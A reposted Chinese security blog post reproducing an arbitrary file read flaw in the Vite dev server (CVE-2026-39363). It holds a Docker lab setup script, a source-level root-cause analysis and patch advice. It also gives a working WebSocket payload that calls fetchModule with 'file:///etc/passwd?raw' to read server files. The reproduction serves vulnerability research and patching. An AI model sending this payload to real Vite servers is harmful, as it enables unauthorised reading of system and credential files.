Vite开发服务器任意文件读取漏洞复现

admin 2026-04-22 05:13:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细分析了Vite开发服务器在6.0.0至6.4.2、7.3.2和8.0.5之前版本存在的任意文件读取漏洞(CVE-2026-39363)。攻击者可通过WebSocket发送vite:invoke事件调用fetchModule函数,结合file://协议和?raw参数绕过server.fs.allow限制读取服务器文件。漏洞根因在于WebSocket连接时缺少Origin头可绕过Token验证,且assetPlugin直接读取文件未执行访问控制。建议升级至Vite8.0.5、7.3.2或6.4.2版本修复。 综合评分: 88 文章分类: 漏洞分析,WEB安全,应急响应,安全工具,技术标准


cover_image

Vite开发服务器任意文件读取漏洞复现

dmd5安全 dmd5安全

dmd5安全

2026年4月21日 16:39 江西

在小说阅读器读本章

去阅读

漏洞来源

漏洞描述

Vite 是一个用于 JavaScript 的前端工具框架。在 6.0.0 到 6.4.2、7.3.2 和 8.0.5 之前的版本中,如果能够以不带 Origin 标头的方式连接到 Vite 开发服务器的 WebSocket,攻击者可以通过自定义 WebSocket 事件 vite:invoke 调用 fetchModule,并将 file://...?raw(或 ?inline)结合使用,从而以 JavaScript 字符串的形式(例如,export default "..."))检索服务器上任意文件的内容。HTTP 请求路径中强制执行的访问控制(例如 server.fs.allow)不适用于这种基于 WebSocket 的执行路径。此漏洞已在 6.4.2、7.3.2 和 8.0.5 版本中修复。

环境搭建

创建.sh文件执行即可

#!/bin/bash
echo "[*] 阶段 1/4:检查并安装基础依赖..."# 检查 Docker 和 curl 是否存在,不存在则尝试安装(仅限 Debian/Ubuntu 系)if ! command -v docker &> /dev/null || ! command -v curl &> /dev/null; then    echo "[+] 检测到缺少依赖,正在尝试安装 docker.io 和 curl..."    apt update && apt install -y docker.io curlfi
echo "[*] 阶段 2/4:创建 Vite 漏洞复现工作目录..."mkdir -p vite-cve-2026-39363 && cd vite-cve-2026-39363 || { echo "[x] 创建目录失败"; exit 1; }echo "[+] 工作目录: $(pwd)"
echo&nbsp;"[*] 阶段 3/4:生成项目文件 (package.json, index.html, Dockerfile)..."# 1. 生成 package.jsoncat&nbsp;> package.json <<'EOF'{&nbsp;&nbsp;"name":&nbsp;"vite-cve-2026-39363",&nbsp;&nbsp;"version":&nbsp;"1.0.0",&nbsp;&nbsp;"description":&nbsp;"PoC environment for CVE-2026-39363 (Vite 8.0.4)",&nbsp;&nbsp;"scripts": {&nbsp; &nbsp;&nbsp;"dev":&nbsp;"vite --host"&nbsp; },&nbsp;&nbsp;"devDependencies": {&nbsp; &nbsp;&nbsp;"vite":&nbsp;"8.0.4"&nbsp; }}EOF
# 2. 生成 index.htmlcat&nbsp;> index.html <<'EOF'<!DOCTYPE html><html lang="en"><head>&nbsp; <meta charset="UTF-8">&nbsp; <meta name="viewport"&nbsp;content="width=device-width, initial-scale=1.0">&nbsp; <title>Vite CVE-2026-39363 PoC</title></head><body>&nbsp; <h1>Vite CVE-2026-39363 (Arbitrary File Read) PoC</h1>&nbsp; <p>This environment runs Vite 8.0.4,&nbsp;which&nbsp;is vulnerable to CVE-2026-39363.</p>&nbsp; <p>Server is running on <span&nbsp;id="port">5173</span></p></body></html>EOF
# 3. 生成 Dockerfilecat&nbsp;> Dockerfile <<'EOF'FROM node:20-bullseyeWORKDIR /app# 复制锁文件和清单文件COPY package.json index.html ./# 安装依赖RUN npm install# 暴露 Vite 默认端口EXPOSE 5173# 启动 Vite 开发服务器,监听所有接口CMD ["npm",&nbsp;"run",&nbsp;"dev"]EOF
echo&nbsp;"[*] 阶段 4/4:构建 Docker 镜像并启动容器..."# 构建镜像并后台运行,将容器的 5173 映射到宿主机的 5173docker build -t vite-poc:8.0.4 . && \docker run -d -p 5173:5173 --name vite-cve-2026-39363-container vite-poc:8.0.4
echo&nbsp;""echo&nbsp;"=============================================="echo&nbsp;" Vite CVE-2026-39363 漏洞环境部署完成!"echo&nbsp;" &nbsp;- 访问地址: http://localhost:5173"echo&nbsp;" &nbsp;- 容器名称: vite-cve-2026-39363-container"echo&nbsp;" &nbsp;- 漏洞版本: Vite 8.0.4 (已知存在任意文件读取漏洞)"echo&nbsp;""echo&nbsp;" &nbsp;- 验证步骤:"echo&nbsp;" &nbsp; &nbsp;1. 打开浏览器访问 http://localhost:5173"echo&nbsp;" &nbsp; &nbsp;2. 参考:https://github.com/Kai-One001/cve-/blob/main/Vite_Read_file_cve_2026_39363.md"echo&nbsp;"=============================================="

漏洞复现

1.BURP->Proxy->WebSockets history 2.找到Direction为TO server,右键发送至repeater 3.修改请求为 {&nbsp; &nbsp;&nbsp;"type":&nbsp;"custom",&nbsp; &nbsp;&nbsp;"event":&nbsp;"vite:invoke",&nbsp; &nbsp;&nbsp;"data":&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"fetchModule",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"id":&nbsp;"send:1",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"data":&nbsp;["file:///etc/passwd?raw"]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;}} 4.点击Send 查看Pretty中响应

漏洞分析

入口点在 packages/vite/src/node/server/ws.ts 中的 shouldHandle()函数

// 代码逻辑if&nbsp;(req.headers.origin) {&nbsp;&nbsp;// 如果有 Origin,就检查 Token&nbsp;&nbsp;return&nbsp;hasValidToken(config, parsedUrl);&nbsp; }&nbsp;&nbsp;// 我们允许非浏览器请求在没有 Token 的情况下连接&nbsp;&nbsp;return&nbsp;true;

这就造成了权限绕过。浏览器带 Origin则需要 Token,如果不带 Origin,那就不用Token,就可以免密登录。

wss.on('connection',&nbsp;(socket) =>&nbsp;{&nbsp; socket.on('message',&nbsp;(raw) =>&nbsp;{&nbsp; &nbsp;&nbsp;// 1. 解析消息&nbsp; &nbsp;&nbsp;let&nbsp;parsed:&nbsp;any&nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; parsed =&nbsp;JSON.parse(String(raw))&nbsp; &nbsp; }&nbsp;catch&nbsp;{}
&nbsp; &nbsp;&nbsp;// 2. 检查是否为自定义事件&nbsp; &nbsp;&nbsp;if&nbsp;(!parsed || parsed.type&nbsp;!==&nbsp;'custom'&nbsp;|| !parsed.event)&nbsp;return
&nbsp; &nbsp;&nbsp;// 3. 检查监听器&nbsp; &nbsp;&nbsp;const&nbsp;listeners = customListeners.get(parsed.event)&nbsp; &nbsp;&nbsp;if&nbsp;(!listeners?.size)&nbsp;return
&nbsp; &nbsp;&nbsp;// 4. 获取客户端包装&nbsp; &nbsp;&nbsp;const&nbsp;client =&nbsp;getSocketClient(socket)
&nbsp; &nbsp;&nbsp;// 5. 执行回调(关键:无沙箱环境)&nbsp; &nbsp; listeners.forEach((listener) =>&nbsp;listener(parsed.data, client, parsed.invoke))&nbsp; })&nbsp;&nbsp;// ...})

这段源码主要负责建立WebSocket 连接

在HMR热更新模块中,vite:invoke事件被注册了专门的处理器,如果收到vite:invoke消息,就直接调用对应的函数,然后把执行结果再通过WebSocket发回去

channel.on?.('vite:invoke', listenerForInvokeHandler)

接下来看看listenerForInvokeHandler函数

listenerForInvokeHandler =&nbsp;async&nbsp;(payload, client) => {&nbsp;&nbsp;const&nbsp;responseInvoke&nbsp;= payload.id.replace('send',&nbsp;'response')&nbsp; client.send({&nbsp;&nbsp;&nbsp; type:&nbsp;'custom',&nbsp;&nbsp;&nbsp; event:&nbsp;'vite:invoke',&nbsp;&nbsp;&nbsp; data: {&nbsp; &nbsp;&nbsp;&nbsp; name: payload.name, // 攻击者可控&nbsp; &nbsp;&nbsp;&nbsp; id: responseInvoke,&nbsp; &nbsp;&nbsp;&nbsp; data: (await handleInvoke({&nbsp;/* payload */&nbsp;}))!&nbsp;// 直接执行&nbsp; &nbsp; }&nbsp; })}

这段代码的逻辑为:收到消息 -> 解析 JSON -> 根据 name 字段查找函数 -> 直接执行,几乎没有业务逻辑,它将网络消息直接翻译为函数调用。只要能连上 WebSocket,就是可信的内部组件。它没有在 RPC 层做任何 ACL(访问控制列表)检查,也没有验证调用者是否有权执行 fetchModule。它不关心 fetchModule 是不是一个高危操作,它只关心 invokeHandlers 里有没有这个名字。

try {&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;invokeHandler = invokeHandlers[name]&nbsp; &nbsp; &nbsp;&nbsp;// @ts-expect-error `invokeHandler` is `InvokeMethods[T]`, so passing the args is fine&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;result = await invokeHandler(...args)&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{ result }&nbsp; &nbsp; } catch (error) {&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;error: {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name:&nbsp;error.name,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; message:&nbsp;error.message,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stack:&nbsp;error.stack,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...error,&nbsp;// preserve enumerable properties such as RollupError.loc, frame, plugin&nbsp; &nbsp; &nbsp; &nbsp; },&nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }

payload.name 只要存在就能在invokeHandlers中被索引执行

this.hot.setInvokeHandler({&nbsp;&nbsp;// 定义了一个名为 'fetchModule' 的处理句柄&nbsp; fetchModule: (id, importer, options) => {&nbsp; &nbsp;&nbsp;// 它的逻辑非常单纯:直接调用当前环境实例的 fetchModule 方法&nbsp; &nbsp;&nbsp;return&nbsp;this.fetchModule(id, importer, options)&nbsp; },&nbsp;&nbsp;// ...&nbsp;})

之后把把fetchModule映射进invoke handler, 它没有做任何额外的检查,它只是简单地把参数 (id, importer, options) 原封不动地传递给内部的核心方法 this.fetchModul,所以只要能触发 vite:invoke,就能远程调用 DevEnvironment.fetchModule()

在正常的 HTTP 请求中,Vite 通过 isServerAccessDeniedForTransform 函数建立了一道防线。

如果 URL 包含 ?raw, ?inline 等敏感后缀,必须通过 checkLoadingAccess 校验,即检查 server.fs.allow

allowId(id) {&nbsp;&nbsp;return&nbsp;id[0] ===&nbsp;'\0'&nbsp;|| !isServerAccessDeniedForTransform(server.config,&nbsp;id)}

这确保了只有白名单内的文件能被读取

在 ssr/fetchModule.ts 中:

let&nbsp;result =&nbsp;await&nbsp;environment.transformRequest(url)

由于没有传入 options.allowId,transformRequest 内部的防御逻辑被跳过

// transformRequest.tsif&nbsp;(options.allowId&nbsp;&& !options.allowId(id)) {&nbsp;&nbsp;// 这段代码永远不会执行,因为 options.allowId 是 undefined&nbsp;&nbsp;throw&nbsp;new&nbsp;Error(`Denied ID&nbsp;${id}`)}

正常流程:pluginContainer.load(id) 返回 null -> 触发 transformRequest 的 fs.readFile -> 触发 isFileLoadingAllowed 检查。

攻击流程

  1. URL 带有 ?raw。
  2. pluginContainer.load(id) 命中 assetPlugin。

assetPlugin 逻辑:

// asset.tsif&nbsp;(rawRE.test(id)) {&nbsp;&nbsp;const&nbsp;file =&nbsp;checkPublicFile(id, config) ||&nbsp;cleanUrl(id)&nbsp;&nbsp;// 致命点:直接读取文件,完全无视 server.fs.allow&nbsp;&nbsp;return&nbsp;{&nbsp;code:&nbsp;`export default&nbsp;${JSON.stringify(await&nbsp;fsp.readFile(file,&nbsp;'utf-8'))}`&nbsp;}}

结果:插件直接返回了文件内容,transformRequest 的检查根本没有机会执行。

漏洞修复

升级最新版本:将组件升级至官方已修复版本及以上(vite@>=8.0.5 / vite@>=7.3.2 / vite@>=6.4.2)

原文链接

https://xz.aliyun.com/news/91938


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:dmd5安全 dmd5安全 dmd5安全《Vite开发服务器任意文件读取漏洞复现》

评论:0   参与:  0